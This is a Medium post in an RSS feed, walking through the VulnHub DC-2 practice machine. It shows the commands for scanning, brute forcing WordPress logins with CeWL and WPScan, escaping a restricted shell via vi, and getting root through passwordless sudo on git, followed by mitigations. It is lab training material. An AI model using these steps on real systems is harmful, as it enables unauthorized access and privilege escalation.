<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Md Iqbal Hossain on Medium]]></title>
        <description><![CDATA[Stories by Md Iqbal Hossain on Medium]]></description>
        <link>https://medium.com/@iqbal.hossain1997jony?source=rss-101c3d5578f6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*sZalUa9lcAaZsINw</url>
            <title>Stories by Md Iqbal Hossain on Medium</title>
            <link>https://medium.com/@iqbal.hossain1997jony?source=rss-101c3d5578f6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 11:24:34 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@iqbal.hossain1997jony/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[VulnHub DC-2 Walkthrough: Multiple Paths to Root]]></title>
            <link>https://medium.com/@iqbal.hossain1997jony/vulnhub-dc-2-walkthrough-multiple-paths-to-root-a4446f762c96?source=rss-101c3d5578f6------2</link>
            <guid isPermaLink="false">https://medium.com/p/a4446f762c96</guid>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[dc]]></category>
            <dc:creator><![CDATA[Md Iqbal Hossain]]></dc:creator>
            <pubDate>Fri, 24 Apr 2026 07:53:34 GMT</pubDate>
            <atom:updated>2026-04-24T07:53:34.259Z</atom:updated>
            <content:encoded><![CDATA[<p>This walkthrough is strictly for educational purposes only. Use the knowledge gained responsibly and legally.</p><h3>Introduction to DC of VulnHub Lab</h3><p>VulnHub provides a platform with various vulnerable virtual machines for practicing penetration testing and cybersecurity skills. DC-2 is one such machine designed with multiple exploitation paths, allowing learners to explore different techniques to achieve root access.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/0*-z_Z0tix4CeZAgtz.png" /></figure><h3>Introduction to the Vulnerability</h3><p>DC-2 challenges the attacker with WordPress exploitation, restricted shell environment bypass, and privilege escalation via sudo rights on git, demonstrating layered vulnerability exploitation.</p><h3>Identified IP Addresses</h3><ul><li>Attacker IP: 192.168.9.52</li><li>Victim IP: 192.168.9.132</li></ul><h3>Reconnaissance</h3><h3>Nmap Scan</h3><p>A network scan was performed to identify live hosts on the subnet:</p><pre>└─# nmap -Pn 192.168.9.0/24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/0*h6Z9ut7f91cEoGCI.png" /></figure><p>Target host details including service versions and open ports were enumerated:</p><pre>└─# nmap -sC -sV -Pn -p- 192.168.9.132</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/0*ZSmCM9Qp5q2qcwdJ.png" /></figure><h3>WordPress User Enumeration</h3><pre>└─# nmap -p80 --script http-wordpress-users 192.168.9.132</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/0*PeQnRy310HyzKC_8.png" /></figure><p>Discovered usernames: <strong><em>tom, jerry, admin</em></strong>.</p><p>Visiting the URL <a href="http://dc-2/">http://dc-2</a> redirects and reveals the first flag.</p><h3>Exploitation</h3><h3>Flag 1: WordPress Info</h3><p>Upon visiting the URL <a href="http://dc-2/">http://dc-2</a>, the first flag was found:</p><blockquote><em>Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl . More passwords is always better, but sometimes you just can’t win them all. Log in as one to see the next flag. If you can’t find it, log in as another.</em></blockquote><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/0*N3uSlqIMPpV--qZH.png" /></figure><p>This hint suggests custom wordlist creation for brute forcing login credentials.</p><h3>Generating Wordlists and Credential Brute Force</h3><p>Created user.txt with usernames:</p><pre>admin<br>tom<br>jerry</pre><p>Used CeWL to generate custom password wordlist:</p><pre>└─# cewl http://dc-2/ -w wordlist.txt</pre><p>Launched a password attack against the WordPress login form using WPScan.</p><pre>└─# wpscan - url http://dc-2/ -U user.txt -P wordlist.txt - password-attack wp-login</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/0*G_I5aFxzplhAXvMU.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/0*fduGaMnWrfKei3E1.png" /></figure><p>Credentials Found:</p><ul><li>jerry:adipiscing</li><li>tom:parturient</li></ul><p>WPScan brute force attack yielded valid credentials:</p><ul><li><strong>Username</strong>: <em>jerry</em>, <strong>Password</strong>: <em>adipiscing</em></li><li><strong>Username</strong>: <em>tom</em>, <strong>Password</strong>: <em>parturient</em></li></ul><h3>Flag 2: Inside WordPress</h3><p>Logged in with jerry’s credentials and navigated to the “pages” section. The file flag2.txt contained the second flag:</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bwuXtahtrWfyRWbq.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7YxF5JQ1xMm3OT0b.png" /></figure><blockquote><em>If you can’t exploit WordPress and take a shortcut, there is another way. Hope you found another entry point.</em></blockquote><h3>SSH Access on Port 7744</h3><p>SSH service is open on port 7744:</p><pre>ssh tom@192.168.9.132 -p 7744</pre><h3>Restricted Shell and Escaping Using Vi Editor</h3><p>The user tom was confined in a restricted bash (rbash) shell, unable to run basic commands or change directories freely:</p><pre>tom@DC-2:~$ cat flag3.txt<br>-rbash: cat: command not found</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/0*k-QQDOexjUdX4UH0.png" /></figure><p>However, the presence of vi allowed escape:</p><pre>vi<br>:set shell=/bin/sh<br>:shell</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/233/0*W5pii-3egETnepcm.png" /></figure><p>This spawned an unrestricted shell. Environment variables were then reset for proper shell functioning:</p><pre>export PATH=/bin:/usr/bin:$PATH<br>export SHELL=/bin/bash:$SHELL</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/0*ahSfBbz6Cn9OxZpZ.png" /></figure><h3>Flag 3: Hint for Privilege Escalation</h3><p>Catting flag3.txt revealed:</p><blockquote><em>Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.</em></blockquote><h3>Switching User and Exploiting Sudo Rights</h3><p>Switching to user jerry:</p><pre>su jerry<br>Password: [adipiscing]</pre><p>Listing sudo privileges:</p><pre>sudo -l</pre><p>Result showed jerry can run /usr/bin/git as root without a password.</p><h3>Gaining Root with Git</h3><p>The git help console opens in an editor that can spawn a shell:</p><pre>sudo git -p help config</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/0*vnV3_FDn2NkHSoWb.png" /></figure><p>Inside the editor:</p><pre>!/bin/bash</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/0*-oHRHeoUEpt-pDet.png" /></figure><p>This spawns a root shell.</p><h3>Final Flag</h3><p>Root access was confirmed by reading the final flag file:</p><pre>cd /root<br>cat final-flag.txt</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/0*09AppHUOYQGHpPdH.png" /></figure><blockquote><em>Congratulatons!!!</em></blockquote><blockquote><em>A special thanks to all those who sent me tweets and provided me with feedback — it’s all greatly appreciated.</em></blockquote><blockquote><em>If you enjoyed this CTF, send me a tweet via @DCAU7.</em></blockquote><h3>Conclusion</h3><p><em>Steps of Exploitation</em></p><ol><li><strong>Reconnaissance:</strong> Nmap scan identified WordPress and a non-standard SSH port.</li><li><strong>Enumeration:</strong> WordPress users were enumerated, and a custom password list was generated.</li><li><strong>Initial Access:</strong> Weak passwords were cracked, providing access to the WordPress dashboard and revealing a flag hinting at SSH.</li><li><strong>Lateral Movement: </strong>Used SSH credentials for tom, escaped the restricted shell, and found a flag hinting to switch to jerry.</li><li><strong>Privilege Escalation: </strong>Leveraged a sudo misconfiguration on git to spawn a root shell and capture the final flag.</li></ol><p><em>Key Takeaways</em></p><ul><li><strong>Custom Wordlists: </strong>Tools like CeWL are powerful for creating targeted password lists.</li><li><strong>Non-Standard Ports:</strong> Always scan all ports (-p-), as critical services can run on unexpected ones.</li><li><strong>Restricted Shells:</strong> Know common escape techniques, especially through editors like vi, vim, or ed.</li><li><strong>Sudo Auditing:</strong> Always run sudo -l to check for commands that can be run with elevated privileges. Common binaries like git, find, vi, and nmap can often be leveraged for privilege escalation.</li></ul><p><em>Mitigation Strategies</em></p><ul><li><strong>WordPress</strong>: Use strong, unique passwords. Limit login attempts. Avoid user enumeration by using plugins.</li><li><strong>SSH</strong>: Use key-based authentication instead of passwords. Do not use restricted shells as a primary security control.</li><li><strong>Sudo Permissions:</strong> Apply the principle of least privilege. Never grant users NOPASSWD access to binaries that can spawn a shell or edit files unless absolutely necessary.</li></ul><h3>Acknowledgment</h3><p>A huge thank you to the developer @DCAU7 for creating this wonderful and educational machine. Labs like these are invaluable for the cybersecurity community to learn and hone their skills in a safe, legal environment.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a4446f762c96" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>